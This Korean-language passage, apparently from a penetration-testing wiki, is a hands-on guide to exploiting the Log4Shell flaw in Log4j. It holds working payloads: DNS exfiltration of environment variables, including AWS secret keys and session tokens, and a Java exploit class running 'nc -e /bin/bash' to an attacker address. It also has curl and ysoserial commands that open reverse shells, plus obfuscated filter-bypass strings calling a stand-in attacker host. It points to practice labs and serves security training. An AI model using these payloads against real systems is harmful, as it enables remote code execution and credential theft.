DNS ์š”์ฒญ์ด ์ˆ˜์‹ ๋˜์—ˆ๋‹ค๊ณ  ํ•ด์„œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์•…์šฉ ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ์˜๋ฏธ๋Š” ์•„๋‹™๋‹ˆ๋‹ค(๋˜๋Š” ์‹ฌ์ง€์–ด ์ทจ์•ฝํ•˜๋‹ค๋Š” ์˜๋ฏธ๋„ ์•„๋‹™๋‹ˆ๋‹ค). ์ด๋ฅผ ์•…์šฉํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

Note

๋ฒ„์ „ 2.15๋ฅผ ์•…์šฉํ•˜๋ ค๋ฉด localhost ์ฒดํฌ ์šฐํšŒ๋ฅผ ์ถ”๊ฐ€ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: ${jndi:ldap://127.0.0.1#โ€ฆ}

๋กœ์ปฌ ๋ฐœ๊ฒฌ

๋‹ค์Œ ๋ช…๋ น์–ด๋กœ ๋กœ์ปฌ ์ทจ์•ฝํ•œ ๋ฒ„์ „์˜ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๊ฒ€์ƒ‰ํ•ฉ๋‹ˆ๋‹ค:

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

๊ฒ€์ฆ

์•ž์„œ ๋‚˜์—ด๋œ ํ”Œ๋žซํผ ์ค‘ ์ผ๋ถ€๋Š” ์š”์ฒญ ์‹œ ๊ธฐ๋ก๋˜๋Š” ์ผ๋ถ€ ๋ณ€์ˆ˜ ๋ฐ์ดํ„ฐ๋ฅผ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์ด๋Š” ๋‘ ๊ฐ€์ง€์— ๋งค์šฐ ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • ์ทจ์•ฝ์ ์„ ๊ฒ€์ฆํ•˜๊ธฐ ์œ„ํ•ด
  • ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜์—ฌ ์ •๋ณด๋ฅผ ์œ ์ถœํ•˜๊ธฐ ์œ„ํ•ด

์˜ˆ๋ฅผ ๋“ค์–ด, ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์š”์ฒญ์„ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
๋˜๋Š” ${**jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}**์™€ ๊ฐ™์ด ์š”์ฒญํ•˜๋ฉด, ํ™˜๊ฒฝ ๋ณ€์ˆ˜์˜ ๊ฐ’์œผ๋กœ DNS ์š”์ฒญ์ด ์ˆ˜์‹ ๋˜๋ฉด, ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์ทจ์•ฝํ•˜๋‹ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์œ ์ถœ์„ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ๋Š” ๋‹ค๋ฅธ ์ •๋ณด:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

RCE ์ •๋ณด

Note

JDK ๋ฒ„์ „ 6u141, 7u131 ๋˜๋Š” 8u121 ์ด์ƒ์—์„œ ์‹คํ–‰๋˜๋Š” ํ˜ธ์ŠคํŠธ๋Š” LDAP ํด๋ž˜์Šค ๋กœ๋”ฉ ๊ณต๊ฒฉ ๋ฒกํ„ฐ๋กœ๋ถ€ํ„ฐ ๋ณดํ˜ธ๋ฉ๋‹ˆ๋‹ค. ์ด๋Š” com.sun.jndi.ldap.object.trustURLCodebase์˜ ๊ธฐ๋ณธ ๋น„ํ™œ์„ฑํ™” ๋•Œ๋ฌธ์œผ๋กœ, JNDI๊ฐ€ LDAP๋ฅผ ํ†ตํ•ด ์›๊ฒฉ ์ฝ”๋“œ๋ฒ ์ด์Šค๋ฅผ ๋กœ๋“œํ•˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด๋Ÿฌํ•œ ๋ฒ„์ „์€ ์—ญ์ง๋ ฌํ™” ๊ณต๊ฒฉ ๋ฒกํ„ฐ์— ๋Œ€ํ•ด ๋ณดํ˜ธ๋˜์ง€ ์•Š์Œ์„ ์ฃผ์˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์ด๋Ÿฌํ•œ ๋†’์€ JDK ๋ฒ„์ „์„ ์•…์šฉํ•˜๋ ค๋Š” ๊ณต๊ฒฉ์ž๋Š” Java ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋‚ด์—์„œ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ๊ฐ€์ ฏ์„ ํ™œ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ysoserial ๋˜๋Š” JNDIExploit๊ณผ ๊ฐ™์€ ๋„๊ตฌ๊ฐ€ ์ข…์ข… ์ด ๋ชฉ์ ์— ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ๋ฐ˜๋ฉด, ๋‚ฎ์€ JDK ๋ฒ„์ „์„ ์•…์šฉํ•˜๋Š” ๊ฒƒ์€ ์ƒ๋Œ€์ ์œผ๋กœ ๋” ์‰ฝ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋ฒ„์ „์€ ์ž„์˜์˜ ํด๋ž˜์Šค๋ฅผ ๋กœ๋“œํ•˜๊ณ  ์‹คํ–‰ํ•˜๋„๋ก ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ž์„ธํ•œ ์ •๋ณด (RMI ๋ฐ CORBA ๋ฒกํ„ฐ์— ๋Œ€ํ•œ ์ œํ•œ ์‚ฌํ•ญ๊ณผ ๊ฐ™์€) ๋Š” ์ด์ „ JNDI ๋ช…๋ช… ์ฐธ์กฐ ์„น์…˜์„ ํ™•์ธํ•˜๊ฑฐ๋‚˜ https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ ๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”.

RCE - ์‚ฌ์šฉ์ž ์ •์˜ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์‚ฌ์šฉํ•œ Marshalsec

์ด๊ฒƒ์„ THM ๋ฐ•์Šค์—์„œ ํ…Œ์ŠคํŠธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: https://tryhackme.com/room/solar

๋„๊ตฌ marshalsec (jar ๋ฒ„์ „์€ ์—ฌ๊ธฐ์—์„œ ์‚ฌ์šฉ ๊ฐ€๋Šฅ)๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”. ์ด ์ ‘๊ทผ ๋ฐฉ์‹์€ ์—ฐ๊ฒฐ์„ ๋‘ ๋ฒˆ์งธ HTTP ์„œ๋ฒ„๋กœ ๋ฆฌ๋””๋ ‰์…˜ํ•˜๋Š” LDAP ์ฐธ์กฐ ์„œ๋ฒ„๋ฅผ ์„ค์ •ํ•˜์—ฌ ์ต์Šคํ”Œ๋กœ์ž‡์ด ํ˜ธ์ŠคํŒ…๋  ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

๋Œ€์ƒ์„ ๋ฆฌ๋ฒ„์Šค ์…ธ ์ฝ”๋“œ๋ฅผ ๋กœ๋“œํ•˜๋„๋ก ์œ ๋„ํ•˜๊ธฐ ์œ„ํ•ด, ์•„๋ž˜ ๋‚ด์šฉ์„ ํฌํ•จํ•œ Exploit.java๋ผ๋Š” ์ด๋ฆ„์˜ Java ํŒŒ์ผ์„ ์ž‘์„ฑํ•ฉ๋‹ˆ๋‹ค:

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

Java ํŒŒ์ผ์„ ํด๋ž˜์Šค ํŒŒ์ผ๋กœ ์ปดํŒŒ์ผํ•˜๋ ค๋ฉด: javac Exploit.java -source 8 -target 8๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”. ๋‹ค์Œ์œผ๋กœ, ํด๋ž˜์Šค ํŒŒ์ผ์ด ์žˆ๋Š” ๋””๋ ‰ํ† ๋ฆฌ์—์„œ HTTP ์„œ๋ฒ„๋ฅผ ์‹œ์ž‘ํ•˜๋ ค๋ฉด: python3 -m http.server๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”. marshalsec LDAP ์„œ๋ฒ„๊ฐ€ ์ด HTTP ์„œ๋ฒ„๋ฅผ ์ฐธ์กฐํ•˜๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.

์ทจ์•ฝํ•œ ์›น ์„œ๋ฒ„์—์„œ ์ต์Šคํ”Œ๋กœ์ž‡ ํด๋ž˜์Šค๋ฅผ ์‹คํ–‰ํ•˜๋„๋ก ํŠธ๋ฆฌ๊ฑฐํ•˜๋ ค๋ฉด ๋‹ค์Œ๊ณผ ์œ ์‚ฌํ•œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ „์†กํ•˜์„ธ์š”:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

์ฐธ๊ณ : ์ด ์ต์Šคํ”Œ๋กœ์ž‡์€ Java์˜ ๊ตฌ์„ฑ์ด LDAP๋ฅผ ํ†ตํ•ด ์›๊ฒฉ ์ฝ”๋“œ๋ฒ ์ด์Šค ๋กœ๋”ฉ์„ ํ—ˆ์šฉํ•˜๋Š” ๊ฒƒ์— ์˜์กดํ•ฉ๋‹ˆ๋‹ค. ์ด๊ฒƒ์ด ํ—ˆ์šฉ๋˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ, ์ž„์˜ ์ฝ”๋“œ ์‹คํ–‰์„ ์œ„ํ•ด ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ํด๋ž˜์Šค๋ฅผ ์ด์šฉํ•˜๋Š” ๊ฒƒ์„ ๊ณ ๋ คํ•˜์‹ญ์‹œ์˜ค.

RCE - JNDIExploit

Note

์–ด๋–ค ์ด์œ ๋กœ ์ €์ž๊ฐ€ log4shell ๋ฐœ๊ฒฌ ํ›„ ์ด ํ”„๋กœ์ ํŠธ๋ฅผ github์—์„œ ์ œ๊ฑฐํ–ˆ์Šต๋‹ˆ๋‹ค. https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2์—์„œ ์บ์‹œ๋œ ๋ฒ„์ „์„ ์ฐพ์„ ์ˆ˜ ์žˆ์ง€๋งŒ, ์ €์ž์˜ ๊ฒฐ์ •์„ ์กด์ค‘ํ•˜๊ณ  ์‹ถ๋‹ค๋ฉด ์ด ์ทจ์•ฝ์ ์„ ์ด์šฉํ•˜๊ธฐ ์œ„ํ•ด ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•˜์‹ญ์‹œ์˜ค.

๋˜ํ•œ, wayback machine์—์„œ ์†Œ์Šค ์ฝ”๋“œ๋ฅผ ์ฐพ์„ ์ˆ˜ ์—†์œผ๋ฏ€๋กœ, ์†Œ์Šค ์ฝ”๋“œ๋ฅผ ๋ถ„์„ํ•˜๊ฑฐ๋‚˜ ์‹คํ–‰ํ•˜๋Š” ๋‚ด์šฉ์„ ๋ชจ๋ฅธ ์ฑ„ jar ํŒŒ์ผ์„ ์‹คํ–‰ํ•˜์‹ญ์‹œ์˜ค.

์ด ์˜ˆ์ œ์—์„œ๋Š” ํฌํŠธ 8080์—์„œ log4shell์— ์ทจ์•ฝํ•œ ์›น ์„œ๋ฒ„๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: https://github.com/christophetd/log4shell-vulnerable-app (README์—์„œ ์‹คํ–‰ ๋ฐฉ๋ฒ•์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค). ์ด ์ทจ์•ฝํ•œ ์•ฑ์€ HTTP ์š”์ฒญ ํ—ค๋” _X-Api-Version_์˜ ๋‚ด์šฉ์„ log4shell์˜ ์ทจ์•ฝํ•œ ๋ฒ„์ „์œผ๋กœ ๊ธฐ๋กํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

๊ทธ๋Ÿฐ ๋‹ค์Œ, JNDIExploit jar ํŒŒ์ผ์„ ๋‹ค์šด๋กœ๋“œํ•˜๊ณ  ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

์ฝ”๋“œ๋ฅผ ๋ช‡ ๋ถ„๋งŒ ์ฝ์œผ๋ฉด, _com.feihong.ldap.LdapServer_์™€ _com.feihong.ldap.HTTPServer_์—์„œ LDAP ๋ฐ HTTP ์„œ๋ฒ„๊ฐ€ ์ƒ์„ฑ๋˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. LDAP ์„œ๋ฒ„๋Š” ์–ด๋–ค ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ œ๊ณตํ•ด์•ผ ํ•˜๋Š”์ง€ ์ดํ•ดํ•˜๊ณ , ํ”ผํ•ด์ž๋ฅผ HTTP ์„œ๋ฒ„๋กœ ๋ฆฌ๋””๋ ‰์…˜ํ•˜์—ฌ ์ต์Šคํ”Œ๋กœ์ž‡์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.
_com.feihong.ldap.gadgets_์—์„œ๋Š” ์›ํ•˜๋Š” ์ž‘์—…์„ ์‹คํ–‰ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ํŠน์ • ๊ฐ€์ ฏ์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์ž ์žฌ์ ์œผ๋กœ ์ž„์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Œ). ๊ทธ๋ฆฌ๊ณ  _com.feihong.ldap.template_์—์„œ๋Š” ์ต์Šคํ”Œ๋กœ์ž‡์„ ์ƒ์„ฑํ•˜๋Š” ๋‹ค์–‘ํ•œ ํ…œํ”Œ๋ฆฟ ํด๋ž˜์Šค๋ฅผ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋ชจ๋“  ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ์ต์Šคํ”Œ๋กœ์ž‡์€ **java -jar JNDIExploit-1.2-SNAPSHOT.jar -u**๋กœ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์œ ์šฉํ•œ ๊ฒƒ๋“ค์€:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

๊ทธ๋ž˜์„œ, ์šฐ๋ฆฌ์˜ ์˜ˆ์ œ์—์„œ ์šฐ๋ฆฌ๋Š” ์ด๋ฏธ ์ทจ์•ฝํ•œ ๋„์ปค ์•ฑ์ด ์‹คํ–‰๋˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ๊ณต๊ฒฉํ•˜๊ธฐ ์œ„ํ•ด:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

๊ณต๊ฒฉ์„ ์ „์†กํ•  ๋•Œ JNDIExploit-1.2-SNAPSHOT.jar๋ฅผ ์‹คํ–‰ํ•œ ํ„ฐ๋ฏธ๋„์—์„œ ์ผ๋ถ€ ์ถœ๋ ฅ์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋‹ค๋ฅธ ์ต์Šคํ”Œ๋กœ์ž‡ ์˜ต์…˜์„ ํ™•์ธํ•˜๋ ค๋ฉด java -jar JNDIExploit-1.2-SNAPSHOT.jar -u๋ฅผ ํ™•์ธํ•˜๋Š” ๊ฒƒ์„ ์žŠ์ง€ ๋งˆ์„ธ์š”. ๋˜ํ•œ ํ•„์š”ํ•  ๊ฒฝ์šฐ LDAP ๋ฐ HTTP ์„œ๋ฒ„์˜ ํฌํŠธ๋ฅผ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

RCE - JNDI-Exploit-Kit

์ด์ „ ์ต์Šคํ”Œ๋กœ์ž‡๊ณผ ์œ ์‚ฌํ•˜๊ฒŒ, ์ด ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๊ธฐ ์œ„ํ•ด JNDI-Exploit-Kit๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
ํ”ผํ•ด์ž์—๊ฒŒ ๋ณด๋‚ผ URL์„ ์ƒ์„ฑํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‹คํ–‰ํ•˜์„ธ์š”:

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

์ด ๊ณต๊ฒฉ์€ ์‚ฌ์šฉ์ž ์ •์˜ ์ƒ์„ฑ๋œ ์ž๋ฐ” ๊ฐ์ฒด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ THM solar room๊ณผ ๊ฐ™์€ ์‹คํ—˜์‹ค์—์„œ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๊ธฐ๋ณธ์ ์œผ๋กœ Java๊ฐ€ LDAP๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์›๊ฒฉ ์ฝ”๋“œ๋ฒ ์ด์Šค๋ฅผ ๋กœ๋“œํ•˜๋„๋ก ๊ตฌ์„ฑ๋˜์ง€ ์•Š์•˜๊ธฐ ๋•Œ๋ฌธ์— ์ผ๋ฐ˜์ ์œผ๋กœ ์ž‘๋™ํ•˜์ง€ ์•Š์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด๋Š” ์ž„์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ํด๋ž˜์Šค๋ฅผ ์•…์šฉํ•˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์ด๋ผ๊ณ  ์ƒ๊ฐํ•ฉ๋‹ˆ๋‹ค.

RCE - JNDI-Injection-Exploit-Plus

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus๋Š” ์ž‘๋™ ๊ฐ€๋Šฅํ•œ JNDI ๋งํฌ๋ฅผ ์ƒ์„ฑํ•˜๊ณ  RMI ์„œ๋ฒ„, LDAP ์„œ๋ฒ„ ๋ฐ HTTP ์„œ๋ฒ„๋ฅผ ์‹œ์ž‘ํ•˜์—ฌ ๋ฐฑ๊ทธ๋ผ์šด๋“œ ์„œ๋น„์Šค๋ฅผ ์ œ๊ณตํ•˜๋Š” ๋˜ ๋‹ค๋ฅธ ๋„๊ตฌ์ž…๋‹ˆ๋‹ค.\

RCE - ysoserial & JNDI-Exploit-Kit

์ด ์˜ต์…˜์€ ์ง€์ •๋œ ํด๋ž˜์Šค๋งŒ ์‹ ๋ขฐํ•˜๋„๋ก ๊ตฌ์„ฑ๋œ Java ๋ฒ„์ „์„ ๊ณต๊ฒฉํ•˜๋Š” ๋ฐ ์ •๋ง ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ysoserial์€ ์ž„์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ํด๋ž˜์Šค์˜ ์ง๋ ฌํ™”๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค (ysoserial์— ์˜ํ•ด ์•…์šฉ๋œ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ํด๋ž˜์Šค๋Š” ๊ณต๊ฒฉ์ด ์ž‘๋™ํ•˜๊ธฐ ์œ„ํ•ด ํ”ผํ•ด์ž ์ž๋ฐ” ํ”„๋กœ๊ทธ๋žจ์—์„œ ์‚ฌ์šฉ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค).

ysoserial ๋˜๋Š” ysoserial-modified๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ JNDI์— ์˜ํ•ด ๋‹ค์šด๋กœ๋“œ๋  ์—ญ์ง๋ ฌํ™” ๊ณต๊ฒฉ์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

JNDI-Exploit-Kit๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ JNDI ๋งํฌ๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์„œ ์ต์Šคํ”Œ๋กœ์ž‡์€ ์ทจ์•ฝํ•œ ๋จธ์‹ ์œผ๋กœ๋ถ€ํ„ฐ์˜ ์—ฐ๊ฒฐ์„ ๊ธฐ๋‹ค๋ฆฝ๋‹ˆ๋‹ค. JNDI-Exploit-Kit์— ์˜ํ•ด ์ž๋™์œผ๋กœ ์ƒ์„ฑ๋  ์ˆ˜ ์žˆ๋Š” ๋‹ค์–‘ํ•œ ์ต์Šคํ”Œ๋กœ์ž‡์„ ์ œ๊ณตํ•˜๊ฑฐ๋‚˜, ์‹ฌ์ง€์–ด ์ž์‹ ์˜ ์—ญ์ง๋ ฌํ™” ํŽ˜์ด๋กœ๋“œ(์ž์‹ ์ด ์ƒ์„ฑํ•œ ๊ฒƒ ๋˜๋Š” ysoserial)๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

์ด์ œ ์ƒ์„ฑ๋œ JNDI ๋งํฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๊ณ  ์ทจ์•ฝํ•œ ๋ฒ„์ „์˜ log4j์— ๋‹ค์Œ์„ ์ „์†กํ•˜์—ฌ ๋ฆฌ๋ฒ„์Šค ์…ธ์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ${ldap://10.10.14.10:1389/generated}

์šฐํšŒ ๋ฐฉ๋ฒ•

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ฤฑ}}:ldap://...} //Notice the unicode "i"

์ž๋™ ์Šค์บ๋„ˆ

ํ…Œ์ŠคํŠธํ•  ์‹คํ—˜์‹ค

Post-Log4Shell ์•…์šฉ

์ด CTF ์ž‘์„ฑ๊ธ€์—์„œ๋Š” Log4J์˜ ์ผ๋ถ€ ๊ธฐ๋Šฅ์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์ด ์ž˜ ์„ค๋ช…๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

Log4j์˜ ๋ณด์•ˆ ํŽ˜์ด์ง€์—๋Š” ํฅ๋ฏธ๋กœ์šด ๋ฌธ์žฅ์ด ์žˆ์Šต๋‹ˆ๋‹ค:

๋ฒ„์ „ 2.16.0 (Java 8์šฉ)๋ถ€ํ„ฐ๋Š” ๋ฉ”์‹œ์ง€ ์กฐํšŒ ๊ธฐ๋Šฅ์ด ์™„์ „ํžˆ ์ œ๊ฑฐ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ๊ตฌ์„ฑ์—์„œ์˜ ์กฐํšŒ๋Š” ์—ฌ์ „ํžˆ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ, Log4j๋Š” ์ด์ œ ๊ธฐ๋ณธ์ ์œผ๋กœ JNDI์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ๋น„ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค. ๊ตฌ์„ฑ์—์„œ JNDI ์กฐํšŒ๋Š” ์ด์ œ ๋ช…์‹œ์ ์œผ๋กœ ํ™œ์„ฑํ™”ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

๋ฒ„์ „ 2.17.0๋ถ€ํ„ฐ (Java 7 ๋ฐ Java 6์˜ ๊ฒฝ์šฐ 2.12.3 ๋ฐ 2.3.1), ๊ตฌ์„ฑ์—์„œ์˜ ์กฐํšŒ ๋ฌธ์ž์—ด๋งŒ ์žฌ๊ท€์ ์œผ๋กœ ํ™•์žฅ๋ฉ๋‹ˆ๋‹ค; ๋‹ค๋ฅธ ์‚ฌ์šฉ์—์„œ๋Š” ์ตœ์ƒ์œ„ ์กฐํšŒ๋งŒ ํ•ด๊ฒฐ๋˜๋ฉฐ, ์ค‘์ฒฉ๋œ ์กฐํšŒ๋Š” ํ•ด๊ฒฐ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

์ด๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ jndi ์•…์šฉ์„ ์žŠ์–ด๋ฒ„๋ฆด ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ๊ฒŒ๋‹ค๊ฐ€ ์žฌ๊ท€ ์กฐํšŒ๋ฅผ ์ˆ˜ํ–‰ํ•˜๋ ค๋ฉด ์ด๋ฅผ ๊ตฌ์„ฑํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด, ์ด CTF์—์„œ๋Š” log4j2.xml ํŒŒ์ผ์—์„œ ์ด๋ ‡๊ฒŒ ๊ตฌ์„ฑ๋˜์—ˆ์Šต๋‹ˆ๋‹ค:

